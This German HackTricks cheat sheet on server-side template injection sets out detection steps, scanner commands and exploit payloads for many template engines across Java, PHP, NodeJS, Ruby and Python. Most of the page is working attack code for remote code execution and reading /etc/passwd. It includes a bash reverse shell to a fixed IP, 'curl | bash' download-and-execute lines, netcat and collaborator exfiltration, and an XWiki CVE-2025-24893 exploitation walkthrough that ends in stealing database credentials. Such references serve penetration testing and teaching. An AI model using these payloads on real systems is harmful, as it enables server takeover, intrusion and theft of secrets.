SSTI (Server Side Template Injection)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist SSTI (Server-Side Template Injection)

Server-side template injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.

Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen verwundbaren Codeausschnitt zeigt, der Jinja verwendet:

output = template.render(name=request.args.get('name'))

In diesem verwundbaren Code wird der name-Parameter aus der Benutzeranfrage direkt mittels der render-Funktion in die Vorlage übergeben. Dies kann es einem attacker ermöglichen, bösartigen Code in den name-Parameter einzuschleusen, was zu server-side template injection führen kann.

Beispielsweise könnte ein attacker eine Anfrage mit einem payload wie folgt konstruieren:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die Payload {{bad-stuff-here}} wird in den Parameter name injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es einem Angreifer ermöglichen, unautorisierten Code auszuführen oder die Template-Engine zu manipulieren und möglicherweise Kontrolle über den Server zu erlangen.

Um server-side template injection vulnerabilities zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben vor dem Einfügen in Templates ordnungsgemäß bereinigt und validiert werden. Die Implementierung von Input-Validierung und die Verwendung kontextbewusster Escaping-Techniken kann helfen, das Risiko dieser Schwachstelle zu mindern.

Erkennung

Zur Erkennung von Server-Side Template Injection (SSTI) ist zunächst das fuzzing der Template ein einfacher Ansatz. Dabei wird eine Sequenz spezieller Zeichen (${{<%[%'"}}%\) in die Template injiziert und die Unterschiede in der Server-Antwort auf reguläre Daten gegenüber dieser speziellen Payload analysiert. Anzeichen für eine Schwachstelle sind:

  • Ausgelöste Fehler, die die Schwachstelle und möglicherweise die Template-Engine offenlegen.
  • Fehlen der Payload in der Reflektion oder fehlende Teile davon, was darauf hindeutet, dass der Server sie anders verarbeitet als normale Daten.
  • Plaintext-Kontext: Von XSS unterscheiden, indem geprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).
  • Code-Kontext: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Beispielsweise können Sie greeting in http://vulnerable-website.com/?greeting=data.username ändern, um zu prüfen, ob die Ausgabe des Servers dynamisch oder fest ist — z. B. liefert greeting=data.username}}hello den Benutzernamen zurück.

Identifizierungsphase

Die Identifizierung der Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Server-Antwort auf mathematische Operationen hilft, die spezifische Template-Engine einzugrenzen.

Identifizierung anhand von Payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

ein effizienter SSTI + CSTI-Scanner, der neuartige polyglots nutzt

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

eine interaktive Tabelle mit den effizientesten template injection polyglots sowie den erwarteten Antworten der 44 wichtigsten template engines.

Exploits

Generic

In dieser wordlist findest du definierte Variablen in den Umgebungen einiger der unten genannten Engines:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Systemumgebungsvariablen abrufen

${T(java.lang.System).getenv()}

Java - /etc/passwd auslesen

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Sie können Ihre payloads unter https://try.freemarker.apache.org ausprobieren

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ funktioniert nur mit Freemarker-Versionen unter 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Weitere Informationen

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Weitere Informationen

Thymeleaf

In Thymeleaf ist ein üblicher Test auf SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle remote code execution können Ausdrücke wie die folgenden verwendet werden:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird expression inlining für andere Template-Positionen unterstützt, unter Verwendung der Syntax [[...]] oder [(...)]. Daher könnte ein einfacher SSTI-Testpayload wie [[${7*7}]] aussehen.

Allerdings ist die Wahrscheinlichkeit, dass dieser Payload funktioniert, generell gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Erzeugung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates zur Laufzeit aus Strings zu erzeugen, was unüblich ist.

Thymeleaf bietet außerdem expression preprocessing, wobei Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Dieses Feature kann beim Aufbau von Ausdrücken genutzt werden, wie in der Thymeleaf-Dokumentation gezeigt:

#{selection.__${sel.code}__}

Beispiel einer Schwachstelle in Thymeleaf

Betrachten Sie den folgenden Codeausschnitt, der für eine Ausnutzung anfällig sein könnte:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Das deutet darauf hin, dass, wenn die Template-Engine diese Eingaben fehlerhaft verarbeitet, dies zu remote code execution führen und auf URLs wie diese zugreifen könnte:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Weitere Informationen

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Mehrere variable Ausdrücke können verwendet werden, wenn ${...} nicht funktioniert, versuche #{...}, *{...}, @{...} oder ~{...}.

  • Lies /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Benutzerdefiniertes Script für payload generation
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Weitere Informationen

Spring-Ansichtsmanipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ältere Version von Pebble ( < Version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Neue Version von Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ist ein Open-Source-Projekt, entwickelt von Hubspot, verfügbar unter https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Behoben durch https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Weitere Informationen

Hubspot - HuBL (Java)

  • {% %} Anweisungsbegrenzer
  • {{ }} Ausdrucksbegrenzer
  • {# #} Kommentarbegrenzer
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Die Suche nach “com.hubspot.content.hubl.context.TemplateContextRequest” führte zum Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Weitere Informationen

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Applikationslogik (wie managed beans) in JavaEE erleichtert. Es wird umfangreich in verschiedenen JavaEE-Technologien verwendet, um diese Kommunikation zu vereinfachen. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:

  • JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten an die entsprechenden Backend-Daten und Aktionen zu binden.
  • JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, wodurch das Verbinden von Seitenelementen mit Anwendungsdaten erleichtert wird.
  • Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und managed beans zu ermöglichen und eine kohärentere Anwendungsstruktur zu gewährleisten.

Siehe folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:

EL - Expression Language

Groovy (Java)

Die folgenden Security Manager-Bypässe stammen aus diesem writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (behoben in 15.10.11 / 16.4.1 / 16.5.0RC1) rendert unauthentifizierte RSS-Suchfeeds über das Main.SolrSearch-Macro. Der Handler nimmt den Query-Parameter text, umschließt ihn mit Wiki-Syntax und wertet Makros aus; das Injizieren von }}} gefolgt von {{groovy}} führt beliebigen Groovy-Code in der JVM aus.

  1. Fingerprint & scope – Wenn XWiki hinter host-basierendem Routing per Reverse-Proxy läuft, fuzz den Host-Header (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), um den Wiki-vhost zu finden. Dann /xwiki/bin/view/Main/ aufrufen und den Footer (XWiki Debian 15.10.8) lesen, um die verwundbare Version zu bestimmen.
  2. Trigger SSTI – Sende eine Anfrage an /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Das RSS-Item-<title> enthält die Groovy-Ausgabe. Immer alle Zeichen URL-kodieren, damit Leerzeichen als %20 bleiben; das Ersetzen durch + lässt XWiki HTTP 500 zurückgeben.
  3. Run OS commands – Ersetze den Groovy-Body durch {{groovy}}println("id".execute().text){{/groovy}}. String.execute() startet den Befehl direkt mit execve(), daher werden Shell-Metazeichen (|, >, &) nicht interpretiert. Verwende stattdessen ein Download-and-execute-Muster:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (das Script enthält die reverse-shell-Logik).
  1. Post exploitation – XWiki speichert Datenbankzugangsdaten in /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password liefert echte Systempasswörter, die per SSH wiederverwendet werden können. Wenn die Service-Unit NoNewPrivileges=true gesetzt hat, erhalten Werkzeuge wie /bin/su selbst mit gültigen Passwörtern keine zusätzlichen Rechte, daher über SSH pivotieren statt sich auf lokale SUID-Binaries zu verlassen.

Dasselbe Payload funktioniert auf /xwiki/bin/get/Main/SolrSearch, und die Groovy stdout wird immer im RSS title eingebettet, sodass sich die Enumeration von Befehlen gut skripten lässt.

Andere Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Weitere Informationen

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Vorlagenformat

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Weitere Informationen

Plates (PHP)

Plates ist eine Template-Engine, die nativ für PHP ist und sich an Twig orientiert. Im Gegensatz zu Twig, das eine eigene Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Seitenvorlage:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout-Vorlage:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Weitere Informationen

PHPlib und HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber für Pear portiert.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Weitere Informationen

Weitere PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Weitere Informationen

patTemplate (PHP)

patTemplate nicht-kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Weitere Informationen

Handlebars (NodeJS)

Path Traversal (weitere Informationen hier).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fehler
  • ${7*7} = ${7*7}
  • Nichts
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Weitere Informationen

JsRender (NodeJS)

VorlageBeschreibung
Auswerten und Ausgabe rendern
Auswerten und HTML-kodierte Ausgabe rendern
Kommentar
undCode erlauben (standardmäßig deaktiviert)
  • = 49

Clientseitig

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serverseitig

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Weitere Informationen

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Beispiel für serverseitiges Rendering

var pugjs = require("pug")
home = pugjs.render(injected_page)

Weitere Informationen

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Keine Ausgabe
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fehler
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Weitere Informationen

NodeJS expression sandboxes (vm2 / isolated-vm)

Einige Workflow-Builder werten benutzerkontrollierte Ausdrücke innerhalb von Node-Sandboxes (vm2, isolated-vm) aus, doch der Ausdruckskontext gibt weiterhin this.process.mainModule.require frei. Das ermöglicht einem Angreifer, child_process zu laden und OS-Befehle auszuführen, selbst wenn dedizierte “Execute Command”-Knoten deaktiviert sind:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Weitere NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Weitere Informationen

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Weitere Informationen

Weitere Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Sieh dir die folgende Seite an, um Tricks zu arbitrary command execution bypassing sandboxes in Python zu lernen:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
